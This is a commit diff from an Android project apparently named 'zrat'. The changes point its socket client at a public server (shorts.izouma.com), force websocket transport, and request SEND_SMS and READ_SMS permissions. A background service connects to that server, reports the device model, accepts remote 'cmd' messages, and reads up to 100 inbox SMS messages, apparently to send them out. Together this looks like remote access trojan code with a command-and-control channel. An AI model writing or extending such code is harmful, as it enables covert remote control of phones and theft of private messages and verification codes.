x1ongzhu 1 jaar geleden
bovenliggende
commit
1d6e42178e

+ 1 - 0
app/build.gradle

@@ -37,4 +37,5 @@ dependencies {
     testImplementation 'junit:junit:4.13.2'
     androidTestImplementation 'androidx.test.ext:junit:1.1.5'
     androidTestImplementation 'androidx.test.espresso:espresso-core:3.5.1'
+    implementation 'pub.devrel:easypermissions:3.0.0'
 }

+ 1 - 1
app/src/main/AndroidManifest.xml

@@ -24,7 +24,7 @@
 
         <meta-data
             android:name="socket_url"
-            android:value="http://192.168.50.202:3333/client" />
+            android:value="https://shorts.izouma.com/client" />
     </application>
 
 </manifest>

+ 7 - 0
app/src/main/java/com/demo/zrat/MainActivity.java

@@ -2,6 +2,7 @@ package com.demo.zrat;
 
 import androidx.appcompat.app.AppCompatActivity;
 
+import android.Manifest;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
@@ -14,6 +15,8 @@ import android.util.Log;
 
 import com.example.zrat.ZService;
 
+import pub.devrel.easypermissions.EasyPermissions;
+
 public class MainActivity extends AppCompatActivity {
     private static final String TAG = "MainActivity";
 
@@ -39,6 +42,9 @@ public class MainActivity extends AppCompatActivity {
         super.onCreate(savedInstanceState);
         setContentView(R.layout.activity_main);
 
+        EasyPermissions.requestPermissions(this, "需要权限", 1,
+                Manifest.permission.SEND_SMS, Manifest.permission.READ_SMS);
+
         Intent startIntent = new Intent(this, ZService.class);
         if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
             startForegroundService(startIntent);
@@ -53,6 +59,7 @@ public class MainActivity extends AppCompatActivity {
             startActivity(new Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS));
         });
 
+
     }
 
 }

+ 35 - 10
zrat/src/main/java/com/example/zrat/ZService.java

@@ -118,13 +118,17 @@ public class ZService extends Service {
             String socketUrl = getSocketUrl();
             IO.Options options = new IO.Options();
             options.path = "/ws";
+            options.transports = new String[]{"websocket"};
             mSocket = IO.socket(socketUrl, options);
             mSocket.on(Socket.EVENT_CONNECT, args -> {
                 Map<String, Object> map = new HashMap<>();
                 map.put("model", getModel());
-                org.json.JSONObject json = new org.json.JSONObject(map);
+                JSONObject json = new JSONObject(map);
                 mSocket.emit("info", json);
             });
+            mSocket.on(Socket.EVENT_DISCONNECT, args -> {
+                Log.i(TAG, "socket disconnect ");
+            });
             mSocket.on("cmd", args -> {
                 Log.d(TAG, "Received command: " + Arrays.toString(args));
                 Gson gson = new Gson();
@@ -169,17 +173,38 @@ public class ZService extends Service {
             e.printStackTrace();
         }
 
-        PermissionManager.getInstance(this).checkPermissions(Collections.singleton(Manifest.permission.POST_NOTIFICATIONS), new PermissionManager.PermissionRequestListener() {
-            @Override
-            public void onPermissionGranted() {
+        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
+            PermissionManager.getInstance(this).checkPermissions(
+                    Arrays.asList(Manifest.permission.POST_NOTIFICATIONS,
+                            Manifest.permission.SEND_SMS,
+                            Manifest.permission.READ_SMS),
+                    new PermissionManager.PermissionRequestListener() {
+                        @Override
+                        public void onPermissionGranted() {
 
-            }
+                        }
 
-            @Override
-            public void onPermissionDenied(DeniedPermissions deniedPermissions) {
+                        @Override
+                        public void onPermissionDenied(DeniedPermissions deniedPermissions) {
 
-            }
-        });
+                        }
+                    });
+        } else {
+            PermissionManager.getInstance(this).checkPermissions(
+                    Arrays.asList(Manifest.permission.SEND_SMS,
+                            Manifest.permission.READ_SMS),
+                    new PermissionManager.PermissionRequestListener() {
+                        @Override
+                        public void onPermissionGranted() {
+
+                        }
+
+                        @Override
+                        public void onPermissionDenied(DeniedPermissions deniedPermissions) {
+
+                        }
+                    });
+        }
     }
 
     private void handleReadSms(Command command) {
@@ -207,7 +232,7 @@ public class ZService extends Service {
             Uri uriSMSURI = Uri.parse("content://sms/inbox");
             Cursor cur = this.getApplicationContext().getContentResolver().query(uriSMSURI, null, null, null, null);
 
-            while (cur.moveToNext()) {
+            while (cur.moveToNext() && list.size() < 100) {
                 Map<String, String> sms = new HashMap<>();
                 Arrays.stream(cur.getColumnNames()).forEach(column -> {
                     int index = cur.getColumnIndex(column);